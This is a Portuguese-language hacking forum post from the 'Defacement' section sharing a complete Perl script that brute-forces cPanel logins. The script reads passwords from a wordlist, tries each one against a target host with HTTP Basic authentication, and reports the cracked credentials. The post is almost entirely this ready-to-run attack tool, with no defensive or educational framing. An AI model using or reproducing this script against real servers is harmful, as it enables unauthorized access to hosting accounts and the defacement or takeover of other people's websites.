seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Você não está conectado. Conecte-se ou registre-se

 » Defacement » Programas / Scripts » cPanel Brute-force

cPanel Brute-force

Ir em baixo  Mensagem [Página 1 de 1]

1 cPanel Brute-force em Ter Jan 29, 2013 3:34 pm

mmxm


avançado
avançado
Código:
#!/usr/bin/perl

use LWP;

sub usage(){
print "\ncPanel Brute-Force Coded by MMxM\nHow to use: $0 <host:port> <user> <wordlist>\nExample: $0 localhost:2082 admin wl.txt\n\n";
exit;
}

sub auth(){
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => $site);
$req->authorization_basic($user, $pw);
if($ua->request($req)->code =~ /401/){
return 0;
} else {
return 1;
}
}

sub main(){
print "\n\033[1;31m[-]\033[0m Target: $site\n\n";
open(w,"<$wordlist") or die("$!");
while(<w>){
chomp($pw = $_);
print "\033[1;34m[*]\033[0m Testing ...\t$pw\n";
if((&auth($pw)) == 0){
next;
}else{
print "\n\033[0;32m[+]\033[0m Cracked!!! [$pw]\n"; 
print "\033[0;32m[+]\033[0m USER: $user PASS: $pw\n\n"; 
exit;
}
}
print "\033[1;31m[-]\033[0m No Password crackeds \n";
print "\033[1;34m[*]\033[0m (100% complete)\n\n";
}

if($#ARGV != 2){
usage();
}

($site,$user,$wordlist) = @ARGV;

if($site !~ /^http:\/\// && $site !~ /^https:\/\//){
$site = 'https://'.$site;
}

main(); 

Voltar ao Topo  Mensagem [Página 1 de 1]

Permissão deste fórum:
Você não pode responder aos tópicos neste fórum